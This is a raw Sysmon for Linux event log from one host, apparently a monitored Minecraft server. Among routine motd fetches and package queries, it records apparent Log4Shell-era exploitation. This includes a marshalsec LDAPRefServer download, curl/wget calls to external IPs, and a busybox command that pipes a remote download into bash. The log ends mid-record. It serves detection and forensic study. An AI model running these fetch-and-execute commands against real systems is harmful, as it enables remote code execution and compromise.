154100x800000000000000015498602Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-07 05:12:05.682{ec2d99e9-ed25-61ae-7061-0f9418560000}19601/usr/bin/dpkg-----dpkg -l wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}19600--- 154100x800000000000000015498603Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-07 05:12:05.682{ec2d99e9-ed25-61ae-a092-9cb505560000}19601/usr/bin/dpkg-query-----dpkg-query --list -- wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}19600--- 154100x800000000000000015498765Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-07 05:12:06.115{ec2d99e9-ed26-61ae-703c-e40c0c560000}19626/usr/bin/wget-----wget --timeout 60 -U wget/1.19.4-1ubuntu2.2 Ubuntu/18.04.6/LTS GNU/Linux/5.4.0-1060-aws/x86_64 Intel(R)/Xeon(R)/Platinum/8175M/CPU/@/2.50GHz cloud_id/aws -O- --content-on-error https://motd.ubuntu.com/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{ec2d99e9-ed25-61ae-6812-b38ae4550000}19589/bin/dash/bin/shroot 354300x800000000000000015498766Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-07 05:12:06.120{ec2d99e9-ed26-61ae-703c-e40c0c560000}19626/usr/bin/wgetrootudptruefalse127.0.0.1-53712-false127.0.0.53-53- 534500x800000000000000015503716Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-07 05:14:06.123{ec2d99e9-ed26-61ae-703c-e40c0c560000}19626/usr/bin/wgetroot 154100x800000000000000017373630Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-07 18:58:05.684{ec2d99e9-aebd-61af-7071-375013560000}21201/usr/bin/dpkg-----dpkg -l wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}21200--- 154100x800000000000000017373632Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-07 18:58:05.684{ec2d99e9-aebd-61af-a082-84c12e560000}21201/usr/bin/dpkg-query-----dpkg-query --list -- wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}21200--- 154100x800000000000000017373788Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-07 18:58:06.166{ec2d99e9-aebe-61af-70fc-399e1f560000}21225/usr/bin/wget-----wget --timeout 60 -U wget/1.19.4-1ubuntu2.2 Ubuntu/18.04.6/LTS GNU/Linux/5.4.0-1060-aws/x86_64 Intel(R)/Xeon(R)/Platinum/8175M/CPU/@/2.50GHz cloud_id/aws -O- --content-on-error https://motd.ubuntu.com/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{ec2d99e9-aebd-61af-68b2-aca4c6550000}21186/bin/dash/bin/shroot 354300x800000000000000017373789Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-07 18:58:06.170{ec2d99e9-aebe-61af-70fc-399e1f560000}21225/usr/bin/wgetrootudptruefalse127.0.0.1-52617-false127.0.0.53-53- 354300x800000000000000017376472Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-07 18:59:09.339{ec2d99e9-aebe-61af-70fc-399e1f560000}21225/usr/bin/wgetroottcptruefalse10.0.1.25-59166-false34.243.160.129-443- 534500x800000000000000017377377Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-07 18:59:28.238{ec2d99e9-aebe-61af-70fc-399e1f560000}21225/usr/bin/wgetroot 154100x800000000000000018416523Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-08 02:36:05.683{ec2d99e9-1a15-61b0-7091-142ed0550000}22026/usr/bin/dpkg-----dpkg -l wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}22025--- 154100x800000000000000018416529Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-08 02:36:05.683{ec2d99e9-1a15-61b0-a012-51893a560000}22026/usr/bin/dpkg-query-----dpkg-query --list -- wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}22025--- 154100x800000000000000018416676Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-08 02:36:06.099{ec2d99e9-1a16-61b0-70fc-e070d9550000}22051/usr/bin/wget-----wget --timeout 60 -U wget/1.19.4-1ubuntu2.2 Ubuntu/18.04.6/LTS GNU/Linux/5.4.0-1060-aws/x86_64 Intel(R)/Xeon(R)/Platinum/8175M/CPU/@/2.50GHz cloud_id/aws -O- --content-on-error https://motd.ubuntu.com/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{ec2d99e9-1a15-61b0-68a2-ff2721560000}22011/bin/dash/bin/shroot 354300x800000000000000018416677Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-08 02:36:06.103{ec2d99e9-1a16-61b0-70fc-e070d9550000}22051/usr/bin/wgetrootudptruefalse127.0.0.1-33471-false127.0.0.53-53- 354300x800000000000000018416686Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-08 02:36:06.231{ec2d99e9-1a16-61b0-70fc-e070d9550000}22051/usr/bin/wgetroottcptruefalse10.0.1.25-51716-false54.171.230.55-443- 154100x800000000000000020188864Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-08 15:25:27.563{ec2d99e9-ce67-61b0-7041-b51196550000}23475/usr/bin/dpkg-----dpkg -l wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}23474--- 154100x800000000000000020188866Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-08 15:25:27.563{ec2d99e9-ce67-61b0-a0f2-5b8d0f560000}23475/usr/bin/dpkg-query-----dpkg-query --list -- wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}23474--- 154100x800000000000000020189058Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-08 15:25:28.160{ec2d99e9-ce68-61b0-70cc-6f685d550000}23499/usr/bin/wget-----wget --timeout 60 -U wget/1.19.4-1ubuntu2.2 Ubuntu/18.04.6/LTS GNU/Linux/5.4.0-1060-aws/x86_64 Intel(R)/Xeon(R)/Platinum/8175M/CPU/@/2.50GHz cloud_id/aws -O- --content-on-error https://motd.ubuntu.com/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{ec2d99e9-ce67-61b0-68c2-ae2624560000}23459/bin/dash/bin/shroot 354300x800000000000000020189090Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-08 15:25:28.164{ec2d99e9-ce68-61b0-70cc-6f685d550000}23499/usr/bin/wgetrootudptruefalse127.0.0.1-53855-false127.0.0.53-53- 354300x800000000000000020189221Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-08 15:25:28.291{ec2d99e9-ce68-61b0-70cc-6f685d550000}23499/usr/bin/wgetroottcptruefalse10.0.1.25-60564-false34.243.160.129-443- 534500x800000000000000020189623Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-08 15:25:28.670{ec2d99e9-ce68-61b0-70cc-6f685d550000}23499/usr/bin/wgetroot 154100x800000000000000021032153Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-09 04:36:27.559{ec2d99e9-87cb-61b1-7091-bb51f8550000}25218/usr/bin/dpkg-----dpkg -l wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}25217--- 154100x800000000000000021032155Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-09 04:36:27.559{ec2d99e9-87cb-61b1-a0a2-223873550000}25218/usr/bin/dpkg-query-----dpkg-query --list -- wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}25217--- 154100x800000000000000021032214Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-09 04:36:27.981{ec2d99e9-87cb-61b1-700c-64e4b9550000}25247/usr/bin/wget-----wget --timeout 60 -U wget/1.19.4-1ubuntu2.2 Ubuntu/18.04.6/LTS GNU/Linux/5.4.0-1060-aws/x86_64 Intel(R)/Xeon(R)/Platinum/8175M/CPU/@/2.50GHz cloud_id/aws -O- --content-on-error https://motd.ubuntu.com/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{ec2d99e9-87cb-61b1-6882-ee6757550000}25208/bin/dash/bin/shroot 354300x800000000000000021032215Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-09 04:36:27.985{ec2d99e9-87cb-61b1-700c-64e4b9550000}25247/usr/bin/wgetrootudptruefalse127.0.0.1-48431-false127.0.0.53-53- 354300x800000000000000021032224Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-09 04:36:28.110{ec2d99e9-87cb-61b1-700c-64e4b9550000}25247/usr/bin/wgetroottcptruefalse10.0.1.25-52768-false34.243.160.129-443- 534500x800000000000000021032225Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-09 04:36:28.481{ec2d99e9-87cb-61b1-700c-64e4b9550000}25247/usr/bin/wgetroot 154100x800000000000000022109053Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-09 23:23:05.685{ec2d99e9-8fd9-61b2-70a1-c78351560000}32435/usr/bin/dpkg-----dpkg -l wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}32434--- 154100x800000000000000022109065Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-09 23:23:05.685{ec2d99e9-8fd9-61b2-a0a2-326262550000}32435/usr/bin/dpkg-query-----dpkg-query --list -- wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}32434--- 154100x800000000000000022109244Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-09 23:23:06.150{ec2d99e9-8fda-61b2-701c-e73b69550000}32463/usr/bin/wget-----wget --timeout 60 -U wget/1.19.4-1ubuntu2.2 Ubuntu/18.04.6/LTS GNU/Linux/5.4.0-1060-aws/x86_64 Intel(R)/Xeon(R)/Platinum/8175M/CPU/@/2.50GHz cloud_id/aws -O- --content-on-error https://motd.ubuntu.com/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{ec2d99e9-8fd9-61b2-68d2-bd5637560000}32420/bin/dash/bin/shroot 354300x800000000000000022109245Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-09 23:23:06.156{ec2d99e9-8fda-61b2-701c-e73b69550000}32463/usr/bin/wgetrootudptruefalse127.0.0.1-58847-false127.0.0.53-53- 354300x800000000000000022111301Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-09 23:23:37.854{ec2d99e9-8fda-61b2-701c-e73b69550000}32463/usr/bin/wgetroottcptruefalse10.0.1.25-53756-false34.243.160.129-443- 534500x800000000000000022111318Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-09 23:23:39.566{ec2d99e9-8fda-61b2-701c-e73b69550000}32463/usr/bin/wgetroot 154100x800000000000000022701414Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 03:39:05.687{ec2d99e9-cbd9-61b2-7071-ed0c50560000}860/usr/bin/dpkg-----dpkg -l wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}859--- 154100x800000000000000022701417Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 03:39:05.687{ec2d99e9-cbd9-61b2-a0c2-12562e560000}860/usr/bin/dpkg-query-----dpkg-query --list -- wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}859--- 154100x800000000000000022702044Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 03:39:06.147{ec2d99e9-cbda-61b2-708c-f9fc5d550000}891/usr/bin/wget-----wget --timeout 60 -U wget/1.19.4-1ubuntu2.2 Ubuntu/18.04.6/LTS GNU/Linux/5.4.0-1060-aws/x86_64 Intel(R)/Xeon(R)/Platinum/8175M/CPU/@/2.50GHz cloud_id/aws -O- --content-on-error https://motd.ubuntu.com/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{ec2d99e9-cbd9-61b2-6832-f85cb8550000}844/bin/dash/bin/shroot 354300x800000000000000022702045Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 03:39:06.152{ec2d99e9-cbda-61b2-708c-f9fc5d550000}891/usr/bin/wgetrootudptruefalse127.0.0.1-52688-false127.0.0.53-53- 354300x800000000000000022702049Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 03:39:06.154{ec2d99e9-cbda-61b2-708c-f9fc5d550000}891/usr/bin/wgetrootudpfalsefalse127.0.0.53-53-false127.0.0.1-52688- 154100x800000000000000024499162Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 16:48:18.181{ec2d99e9-84d2-61b3-70cc-980e18560000}2592/usr/bin/wget-----wget minecraft_server.1.18.1.jar/optroot{ec2d99e9-0000-0000-0000-000000000000}0218no level-{ec2d99e9-84ba-61b3-08b4-3e70a3550000}2580/bin/bashbashroot 354300x800000000000000024499169Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 16:48:18.184{ec2d99e9-84d2-61b3-70cc-980e18560000}2592/usr/bin/wgetrootudptruefalse127.0.0.1-59326-false127.0.0.53-53- 354300x800000000000000024499174Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 16:48:18.208{ec2d99e9-84d2-61b3-70cc-980e18560000}2592/usr/bin/wgetrootudpfalsefalse127.0.0.53-53-false127.0.0.1-59326- 354300x800000000000000024499175Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 16:48:18.219{ec2d99e9-84d2-61b3-70cc-980e18560000}2592/usr/bin/wgetrootudptruefalse127.0.0.1-52025-false127.0.0.53-53- 534500x800000000000000024499179Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 16:48:18.225{ec2d99e9-84d2-61b3-70cc-980e18560000}2592/usr/bin/wgetroot 154100x800000000000000024499481Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 16:48:26.145{ec2d99e9-84da-61b3-707c-2459f9550000}2593/usr/bin/wget-----wget https://launcher.mojang.com/v1/objects/125e5adf40c659fd3bce3e66e67a16bb49ecc1b9/server.jar/optroot{ec2d99e9-0000-0000-0000-000000000000}0218no level-{ec2d99e9-84ba-61b3-08b4-3e70a3550000}2580/bin/bashbashroot 354300x800000000000000024499482Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 16:48:26.149{ec2d99e9-84da-61b3-707c-2459f9550000}2593/usr/bin/wgetrootudptruefalse127.0.0.1-41963-false127.0.0.53-53- 354300x800000000000000024499486Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 16:48:26.159{ec2d99e9-84da-61b3-707c-2459f9550000}2593/usr/bin/wgetrootudpfalsefalse127.0.0.53-53-false127.0.0.1-41963- 354300x800000000000000024499488Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 16:48:26.172{ec2d99e9-84da-61b3-707c-2459f9550000}2593/usr/bin/wgetroottcptruefalse10.0.1.25-36998-false54.192.72.20-443- 11241100x800000000000000024499489Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 16:48:26.196{ec2d99e9-84da-61b3-707c-2459f9550000}2593/usr/bin/wget/opt/server.jar2021-12-10 16:48:26.196root 534500x800000000000000024499490Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 16:48:26.467{ec2d99e9-84da-61b3-707c-2459f9550000}2593/usr/bin/wgetroot 354300x800000000000000024519510Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 16:52:19.057{ec2d99e9-85b3-61b3-709c-46bc0d560000}5169/usr/bin/wgetroottcptruefalse10.0.1.25-60652-false54.171.230.55-443- 534500x800000000000000024520686Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 16:52:32.225{ec2d99e9-85b3-61b3-709c-46bc0d560000}5169/usr/bin/wgetroot 154100x800000000000000024549998Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 17:03:14.333{ec2d99e9-8852-61b3-785d-5260cd550000}7385/usr/bin/curl-----curl -s 45.155.205.233:5874/104.214.103.78:80/opt/payloadsroot{ec2d99e9-0000-0000-0000-000000000000}0219no level-{ec2d99e9-8796-61b3-08c4-2a1dfd550000}7371/bin/bashbashroot 354300x800000000000000024549999Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 17:03:14.547{ec2d99e9-8852-61b3-785d-5260cd550000}7385/usr/bin/curlroottcptruefalse10.0.1.25-54712-false45.155.205.233-5874- 534500x800000000000000024550038Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 17:03:14.820{ec2d99e9-8852-61b3-785d-5260cd550000}7385/usr/bin/curlroot 154100x800000000000000024550579Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 17:03:21.238{ec2d99e9-8859-61b3-785d-af70fc550000}7388/usr/bin/curl-----curl -s 45.155.205.233:5874/opt/payloadsroot{ec2d99e9-0000-0000-0000-000000000000}0219no level-{ec2d99e9-8796-61b3-08c4-2a1dfd550000}7371/bin/bashbashroot 354300x800000000000000024550652Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 17:03:22.463{ec2d99e9-8859-61b3-785d-af70fc550000}7388/usr/bin/curlroottcptruefalse10.0.1.25-54718-false45.155.205.233-5874- 534500x800000000000000024550687Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 17:03:22.669{ec2d99e9-8859-61b3-785d-af70fc550000}7388/usr/bin/curlroot 154100x800000000000000024550858Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 17:03:37.757{ec2d99e9-8869-61b3-709c-6d7571550000}7390/usr/bin/wget-----wget -q -O- 45.155.205.233:5874/opt/payloadsroot{ec2d99e9-0000-0000-0000-000000000000}0219no level-{ec2d99e9-8796-61b3-08c4-2a1dfd550000}7371/bin/bashbashroot 354300x800000000000000024550859Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 17:03:37.967{ec2d99e9-8869-61b3-709c-6d7571550000}7390/usr/bin/wgetroottcptruefalse10.0.1.25-54728-false45.155.205.233-5874- 534500x800000000000000024550864Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 17:03:38.174{ec2d99e9-8869-61b3-709c-6d7571550000}7390/usr/bin/wgetroot 154100x800000000000000024559349Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 17:09:24.231{ec2d99e9-89c4-61b3-782d-a4dc76550000}7401/usr/bin/curl-----curl -s 45.155.205.233:5874/opt/payloadsroot{ec2d99e9-0000-0000-0000-000000000000}0219no level-{ec2d99e9-8796-61b3-08c4-2a1dfd550000}7371/bin/bashbashroot 354300x800000000000000024559355Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 17:09:24.449{ec2d99e9-89c4-61b3-782d-a4dc76550000}7401/usr/bin/curlroottcptruefalse10.0.1.25-54876-false45.155.205.233-5874- 534500x800000000000000024559362Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 17:09:24.656{ec2d99e9-89c4-61b3-782d-a4dc76550000}7401/usr/bin/curlroot 154100x800000000000000024827551Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 19:13:29.289{ec2d99e9-a6d9-61b3-700c-6af6b8550000}7623/usr/bin/wget-----wget https://raw.githubusercontent.com/mbechler/marshalsec/master/src/main/java/marshalsec/jndi/LDAPRefServer.java/opt/javaroot{ec2d99e9-0000-0000-0000-000000000000}0219no level-{ec2d99e9-8796-61b3-08c4-2a1dfd550000}7371/bin/bashbashroot 354300x800000000000000024827552Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 19:13:29.294{ec2d99e9-a6d9-61b3-700c-6af6b8550000}7623/usr/bin/wgetrootudptruefalse127.0.0.1-55730-false127.0.0.53-53- 354300x800000000000000024827557Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 19:13:29.304{ec2d99e9-a6d9-61b3-700c-6af6b8550000}7623/usr/bin/wgetroottcptruefalse10.0.1.25-57280-false185.199.110.133-443- 11241100x800000000000000024827572Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 19:13:29.483{ec2d99e9-a6d9-61b3-700c-6af6b8550000}7623/usr/bin/wget/opt/java/LDAPRefServer.java2021-12-10 19:13:29.483root 11241100x800000000000000024827573Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 19:13:29.484{ec2d99e9-a6d9-61b3-700c-6af6b8550000}7623/usr/bin/wget/root/.wget-hsts2021-12-10 19:13:29.484root 534500x800000000000000024827574Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 19:13:29.484{ec2d99e9-a6d9-61b3-700c-6af6b8550000}7623/usr/bin/wgetroot 154100x800000000000000025206705Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 22:03:08.513{ec2d99e9-ce9c-61b3-ecee-10bc91550000}11451/bin/busybox-----/bin/sh -c (curl -s 45.155.205.233:5874/96.126.96.16:8080||wget -q -O- 45.155.205.233:5874/96.126.96.16:8080)|bash/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}11263--- 154100x800000000000000025206707Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-10 22:03:08.514{ec2d99e9-ce9c-61b3-ec0e-02199b550000}11452/bin/busybox-----wget -q -O- 45.155.205.233:5874/96.126.96.16:8080/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{ec2d99e9-ce9c-61b3-ecee-10bc91550000}11451/bin/busybox/bin/shroot 154100x800000000000000026483016Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-11 07:20:27.563{ec2d99e9-513b-61b4-7051-697f80550000}12555/usr/bin/dpkg-----dpkg -l wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}12554--- 154100x800000000000000026483018Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-11 07:20:27.563{ec2d99e9-513b-61b4-a072-902f2d560000}12555/usr/bin/dpkg-query-----dpkg-query --list -- wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}12554--- 154100x800000000000000026483230Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-11 07:20:28.043{ec2d99e9-513c-61b4-701c-5aa6e6550000}12583/usr/bin/wget-----wget --timeout 60 -U wget/1.19.4-1ubuntu2.2 Ubuntu/18.04.6/LTS GNU/Linux/5.4.0-1060-aws/x86_64 Intel(R)/Xeon(R)/Platinum/8175M/CPU/@/2.50GHz cloud_id/aws -O- --content-on-error https://motd.ubuntu.com/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{ec2d99e9-513b-61b4-6852-eeb228560000}12539/bin/dash/bin/shroot 354300x800000000000000026483231Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-11 07:20:28.047{ec2d99e9-513c-61b4-701c-5aa6e6550000}12583/usr/bin/wgetrootudptruefalse127.0.0.1-60766-false127.0.0.53-53- 354300x800000000000000026483240Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-11 07:20:28.178{ec2d99e9-513c-61b4-701c-5aa6e6550000}12583/usr/bin/wgetroottcptruefalse10.0.1.25-43664-false34.243.160.129-443- 534500x800000000000000026483427Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-11 07:20:28.559{ec2d99e9-513c-61b4-701c-5aa6e6550000}12583/usr/bin/wgetroot 154100x800000000000000027318378Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-11 13:27:14.299{ec2d99e9-a732-61b4-785d-d223b3550000}13753/usr/bin/curl-----curl -s 80.71.158.11/lh.sh/home/ubunturoot{ec2d99e9-0000-0000-0000-000000000000}0243no level-{00000000-0000-0000-0000-000000000000}13751--- 534500x800000000000000027318379Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-11 13:27:14.521{ec2d99e9-a732-61b4-785d-d223b3550000}13753/usr/bin/curlroot 154100x800000000000000027318380Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-11 13:27:14.521{ec2d99e9-a732-61b4-70cc-3d0f70550000}13754/usr/bin/wget-----wget -q -O- 80.71.158.11/lh.sh/home/ubunturoot{ec2d99e9-0000-0000-0000-000000000000}0243no level-{00000000-0000-0000-0000-000000000000}13751--- 534500x800000000000000027318399Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-11 13:27:14.734{ec2d99e9-a732-61b4-70cc-3d0f70550000}13754/usr/bin/wgetroot 154100x800000000000000027325670Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-11 13:29:56.853{ec2d99e9-a7d4-61b4-787d-a086d1550000}13758/usr/bin/curl-----curl -s 80.71.158.12/lh.sh/home/ubunturoot{ec2d99e9-0000-0000-0000-000000000000}0243no level-{ec2d99e9-a6ec-61b4-0854-8e1210560000}13740/bin/bashbashroot 534500x800000000000000027326356Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-11 13:30:23.768{ec2d99e9-a7d4-61b4-787d-a086d1550000}13758/usr/bin/curlroot 154100x800000000000000027502895Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-11 14:49:05.685{ec2d99e9-ba61-61b4-70b1-7cca5a550000}13887/usr/bin/dpkg-----dpkg -l wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}13884--- 154100x800000000000000027502896Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-11 14:49:05.685{ec2d99e9-ba61-61b4-a072-296da4550000}13887/usr/bin/dpkg-query-----dpkg-query --list -- wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}13884--- 154100x800000000000000027503054Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-11 14:49:06.152{ec2d99e9-ba62-61b4-703c-34bb7a550000}13915/usr/bin/wget-----wget --timeout 60 -U wget/1.19.4-1ubuntu2.2 Ubuntu/18.04.6/LTS GNU/Linux/5.4.0-1060-aws/x86_64 Intel(R)/Xeon(R)/Platinum/8175M/CPU/@/2.50GHz cloud_id/aws -O- --content-on-error https://motd.ubuntu.com/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{ec2d99e9-ba61-61b4-68b2-9bf6b8550000}13874/bin/dash/bin/shroot 354300x800000000000000027503055Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-11 14:49:06.157{ec2d99e9-ba62-61b4-703c-34bb7a550000}13915/usr/bin/wgetrootudptruefalse127.0.0.1-47816-false127.0.0.53-53- 354300x800000000000000027504108Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-11 14:49:07.319{ec2d99e9-ba62-61b4-703c-34bb7a550000}13915/usr/bin/wgetroottcptruefalse10.0.1.25-54538-false34.243.160.129-443- 154100x800000000000000029248625Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-12 03:38:27.562{ec2d99e9-6eb3-61b5-70b1-73b8c6550000}15575/usr/bin/dpkg-----dpkg -l wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}15574--- 154100x800000000000000029248627Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-12 03:38:27.562{ec2d99e9-6eb3-61b5-a072-8811d5550000}15575/usr/bin/dpkg-query-----dpkg-query --list -- wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}15574--- 154100x800000000000000029248928Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-12 03:38:27.996{ec2d99e9-6eb3-61b5-706c-08d23a560000}15599/usr/bin/wget-----wget --timeout 60 -U wget/1.19.4-1ubuntu2.2 Ubuntu/18.04.6/LTS GNU/Linux/5.4.0-1060-aws/x86_64 Intel(R)/Xeon(R)/Platinum/8175M/CPU/@/2.50GHz cloud_id/aws -O- --content-on-error https://motd.ubuntu.com/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{ec2d99e9-6eb3-61b5-6852-fab2e5550000}15560/bin/dash/bin/shroot 354300x800000000000000029248929Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-12 03:38:28.001{ec2d99e9-6eb3-61b5-706c-08d23a560000}15599/usr/bin/wgetrootudptruefalse127.0.0.1-39785-false127.0.0.53-53- 534500x800000000000000029251052Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-12 03:39:35.390{ec2d99e9-6eb3-61b5-706c-08d23a560000}15599/usr/bin/wgetroot 154100x800000000000000031696553Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-12 21:26:05.684{ec2d99e9-68ed-61b6-7081-189661550000}17646/usr/bin/dpkg-----dpkg -l wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}17645--- 154100x800000000000000031696555Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-12 21:26:05.684{ec2d99e9-68ed-61b6-a032-ebaa44560000}17646/usr/bin/dpkg-query-----dpkg-query --list -- wget/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{00000000-0000-0000-0000-000000000000}17645--- 154100x800000000000000031696833Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-12 21:26:06.150{ec2d99e9-68ee-61b6-70bc-ab7065550000}17670/usr/bin/wget-----wget --timeout 60 -U wget/1.19.4-1ubuntu2.2 Ubuntu/18.04.6/LTS GNU/Linux/5.4.0-1060-aws/x86_64 Intel(R)/Xeon(R)/Platinum/8175M/CPU/@/2.50GHz cloud_id/aws -O- --content-on-error https://motd.ubuntu.com/root{ec2d99e9-0000-0000-0000-000000000000}04294967295no level-{ec2d99e9-68ed-61b6-68e2-611a41560000}17633/bin/dash/bin/shroot 354300x800000000000000031696834Linux-Sysmon/Operationalsysmonlinux-8267-2021-12-12 